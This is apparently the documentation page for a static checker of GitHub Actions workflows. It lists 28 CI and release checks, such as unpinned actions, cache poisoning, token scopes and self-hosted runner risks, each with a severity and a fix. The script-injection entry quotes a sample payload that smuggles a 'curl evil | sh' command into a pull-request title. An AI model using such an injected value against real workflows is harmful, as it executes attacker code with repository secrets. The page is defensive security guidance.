Skip to content

CI / release

GitHub Actions checks: install reproducibility, toolchain version drift, and release-pipeline correctness (tests/analysis before publish, no debug/dev artifacts). Secrets are never resolved and are redacted in evidence.

28 checks.

ci-action-unpinned-ref

Severity: Low

A mutable ref lets whoever controls the tag swap in new code with no diff in your repo — a supply-chain foothold that runs with your workflow secrets (tj-actions CVE-2025-30066).

How to fix: Pin each reference to a full commit SHA (uses: owner/action@<40-char-sha>), with the tag in a trailing comment. Dependabot / pinact can automate this, including the updates.


ci-cache-key-missing-lockfile

Severity: Low

A cache key not derived from the lockfile can serve a stale dependency cache after the lockfile changes, masking version drift or breaking the build.

How to fix: Include the lockfile in the cache key, e.g. key: ${{ runner.os }}-deps-${{ hashFiles('**/package-lock.json') }}.


ci-cache-key-too-broad

Severity: Low

Hashing the whole tree changes the cache key on almost every build (any generated or touched file busts it), so the cache is written but effectively never restored — dependencies re-download every run.

How to fix: Narrow the key to the lockfile(s), e.g. key: ${{ runner.os }}-gradle-${{ hashFiles('/.gradle', '/gradle-wrapper.properties') }}.


ci-dangerous-trigger-untrusted-checkout

Severity: Medium

pull_request_target and workflow_run run with the base repo's read/write GITHUB_TOKEN, its secrets, and default-branch cache write access. Building or running PR/fork code fetched under them can exfiltrate secrets or poison the cache — a potential repo takeover, with the build still green.

How to fix: Do not build/run untrusted code under pull_request_target/workflow_run. Split the job: run untrusted code in a plain pull_request workflow (no secrets), and keep the privileged trigger for steps that only need metadata. If a checkout is unavoidable, gate it behind a label/permission check and treat the token as untrusted.


ci-flutter-version-drift

Severity: Low

Different Flutter versions across CI jobs build/test against different toolchains, so a green check on one job does not guarantee the others.

How to fix: Pin one Flutter version across all workflows (shared env var, matrix include, or version file).


ci-java-version-drift

Severity: Low

Different Java versions across CI jobs can produce class-version mismatches and inconsistent builds.

How to fix: Pin one Java version across all workflows.


ci-low-trust-cache-write-risk

Severity: Medium

pull_request_target and workflow_run run with write access to the default-branch cache while processing attacker-influenced PR/fork input. A cache entry poisoned here is later restored by trusted builds, so malicious content flows into the main pipeline — cache poisoning, with the run still green.

How to fix: Do not write the cache under pull_request_target/workflow_run. Restore read-only (actions/cache/restore) under privileged triggers, and only save the cache from a trusted plain pull_request/push job. Scope cache keys so untrusted runs cannot overwrite trusted entries.


ci-quality-gate-continue-on-error

Severity: Medium

A quality gate that never fails the build is no gate at all — broken tests, lint errors, or failed analysis pass unnoticed and the pipeline stays green.

How to fix: Remove continue-on-error (or the || true) from verification steps; keep it only on genuinely best-effort steps (uploads, cleanup, notifications).


ci-release-builds-debug-artifact

Severity: Medium

A debug artifact is unoptimized, larger, and may expose debuggable internals — it must never be what gets published.

How to fix: Build the release configuration on the release path (assembleRelease / bundleRelease, flutter build --release, -configuration Release).


ci-release-concurrency-collision

Severity: High

Cancelling a build is harmless; cancelling a publish is not. The run dies between two of its upload steps, leaving a release that exists in some places and not others — a tag with no artifact, a store submission with no symbols, a version bump nobody can install. GitHub reports the run as cancelled rather than failed, so no failure alert fires and the gap is found by a user.

How to fix: Key the group to the release: group: publish-${{ github.ref }} (or github.run_id), so two different releases never share a group. If serializing releases is the intent, keep the shared group but set cancel-in-progress: false — the second run then waits instead of killing the first.


ci-release-gate-order-drift

Severity: Low

If the gate runs after the publish step, a broken artifact is already shipped by the time the check fails.

How to fix: Reorder steps so tests/lint run and pass before the publish/upload step.


ci-release-shallow-checkout

Severity: High

actions/checkout clones a single commit by default. A tag-derived version then resolves to nothing, git describe fails or reports a fallback, and a generated changelog comes out empty or wrong. None of that fails the job — the release is published with the wrong version or with no notes, and the mistake surfaces only after it has shipped.

How to fix: Set fetch-depth: 0 on the actions/checkout step of the release job (or add fetch-tags: true if only tags are needed). Alternatively run git fetch --unshallow --tags before the version/changelog step.


ci-release-uses-development-config

Severity: Low

Shipping a release built with a dev/staging flavor can point the app at non-production backends or enable debug behavior in production.

How to fix: Use the production flavor/configuration on the release path; gate dev/staging builds to non-release workflows.


ci-release-without-static-analysis

Severity: Low

Static analysis catches a class of defects before release; skipping it on the release path lets analyzer-detectable issues ship.

How to fix: Add a lint/analyze step (flutter analyze, ktlint/detekt, swiftlint, eslint) to the release path.


ci-release-without-tests

Severity: Medium

Shipping without a test gate means a regression goes straight to users — the release pipeline should fail before publishing, not after.

How to fix: Run the test suite before the publish step, or make the release job depend on a test job via needs. If the gate is a workflow_run, check out ${{ github.event.workflow_run.head_sha }} so the commit you ship is the commit that passed.


ci-script-injection-untrusted-input

Severity: High

The value becomes part of the generated script source, so a crafted title/branch/comment like a"; curl evil | sh; " executes arbitrary commands with the workflow's GITHUB_TOKEN and secrets — command injection with a green build.

How to fix: Bind the expression to an intermediate env: variable and reference it as a quoted shell variable (env: TITLE: ${{ github.event.pull_request.title }} … run: echo "$TITLE"), or pass it as an argument to a JS action. Never interpolate ${{ … }} untrusted input directly into run:.


ci-secret-in-workflow-env

Severity: Medium

env: set above step level is inherited by every step in the job. A third-party action running in that job can read the secret directly out of its process environment — no scanning or obfuscation needed — and exfiltrate it in its own logs or over the network. This is the exact vector behind the tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup (CVE-2025-30154) incidents: a compromised action dumped the runner's environment, secrets included, while the pipeline stayed green.

How to fix: Narrow it to the env: of the specific step that needs it, instead of the job or workflow env:. A step-level env: is visible only to that one step, so a compromised third-party action elsewhere in the job never sees it.


ci-self-hosted-runner-untrusted-trigger

Severity: High

A self-hosted runner for mobile development is typically a physical machine holding developer certificates, an unlocked keychain, and SSH keys — and it is not ephemeral between runs, so one run's leftovers are visible to the next. A fork PR, a PR comment, or a completed workflow run can trigger the job, handing an attacker code execution on that machine. This is invisible in the run itself: the build stays green. A declared environment: does not change this: GitHub's secure-use reference says that although workflows can control access to environment secrets with environments and required reviews, "these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner".

How to fix: Do not run untrusted-trigger jobs on a self-hosted runner — move them to a GitHub-hosted runner, which is a clean ephemeral VM. If self-hosted is required, add an if: that excludes fork input in the vocabulary of every trigger the workflow declares (if: github.event.pull_request.head.repo.full_name == github.repository under pull_request; if: github.event.workflow_run.head_repository.fork == false under workflow_run). An environment: with required reviewers is worth having — it holds that environment's secrets back until someone approves — but it does not isolate the runner, so it is not a substitute for either of the above.


ci-sensitive-artifact-upload

Severity: Critical–High

A build artifact is downloadable by everyone with read access to the repository and stays available for the whole retention period. Uploading a keystore, provisioning profile, .env or private key therefore hands out the signing identity or the service credentials to a far wider audience than intended — and the workflow is green, so nothing signals that it happened.

How to fix: Never upload signing material or environment files as artifacts. Keep them in repository/organization secrets, decode them into a temporary directory outside the artifact path, and upload only the built app. If a credential was uploaded, rotate it and delete the affected artifacts.


ci-test-timeout-missing

Severity: Low

A hung emulator, pod install, or Gradle daemon then wedges the job for up to 6 hours — burning runner minutes and blocking the queue instead of failing fast.

How to fix: Add a realistic timeout-minutes: to each test/build job (e.g. 20–30 for unit tests, higher for device/emulator jobs).


ci-token-write-all

Severity: High

write-all gives the job token push access to the repository plus write on packages, releases, issues, pull requests and deployments — every scope at once. Any step in that job inherits it, so one compromised action, one poisoned transitive dependency, or one command injection in a run block reaches the maximum blast radius. The workflow stays green either way, so the over-grant is never noticed until it is abused.

How to fix: Replace permissions: write-all with the specific scopes the job needs (for example contents: read for a build job, contents: write only on the job that creates the release). Set a restrictive permissions: at workflow level and widen it per job.


ci-toolchain-version-unpinned

Severity: Low

An unpinned toolchain means the build silently moves to a new Node/Java/Flutter version when the runner image updates — a classic source of surprise breakages.

How to fix: Pin an explicit version (node-version / java-version / flutter-version), ideally via a version file checked into the repo.


ci-unlocked-cocoapods-install

Severity: Low

pod update in CI ignores the committed Podfile.lock, producing non-reproducible pod versions.

How to fix: Use pod install (honors Podfile.lock) in CI; run pod update deliberately and commit the updated lock.


ci-unlocked-flutter-install

Severity: Low

pub upgrade in CI defeats the lockfile, so each run can pull different dependency versions.

How to fix: Use flutter pub get (honors pubspec.lock) in CI; run pub upgrade deliberately and commit the updated lock.


ci-unlocked-node-install

Severity: Medium

Installing without a frozen lockfile lets transitive versions drift between CI runs and from local — builds become non-reproducible and "works on my machine" bugs slip through.

How to fix: Use npm ci, yarn install --frozen-lockfile, or pnpm install --frozen-lockfile in CI, and commit the lockfile.


ci-unparsed-pipeline-system

Severity: Info

Every CI conclusion in this report — release gates, timeouts, pinned actions, lockfile handling — was drawn from the workflow files that were read. Where the real pipeline lives elsewhere, or where a file did not parse, silence in the CI section means "not looked at", not "nothing wrong".

How to fix: Read the CI findings as covering only the workflows listed as read, and apply the same checks by hand to the files here. A workflow that does not parse is worth fixing on its own: GitHub accepts more than the YAML specification does, and any other tool in the chain may not.


ci-untrusted-artifact-execution

Severity: High

A workflow_run workflow runs on the default branch with the repository's secrets and a read/write GITHUB_TOKEN. The pull-request workflow that produced the artifact ran the contributor's own tree, so anyone who can open a pull request decides what is inside it. Executing a file from that artifact hands them code execution in the privileged context — signing keys, publishing tokens, the token that can push to main — without ever checking their commit out, and with every run green.

How to fix: Treat a downloaded artifact as untrusted data: never execute anything out of it. Keep the privileged job to reading the artifact (a report, a JSON summary) and posting results, and do the building and running in the pull-request workflow itself, which has no secrets. If the privileged job must act on a build, constrain it with if: github.event.workflow_run.event != 'pull_request' or by comparing github.event.workflow_run.head_repository.full_name with github.repository.


ci-xcode-version-drift

Severity: Low

Different Xcode versions across CI jobs build against different SDKs, so results are not comparable and releases can differ from what was tested.

How to fix: Pin one Xcode version across all workflows.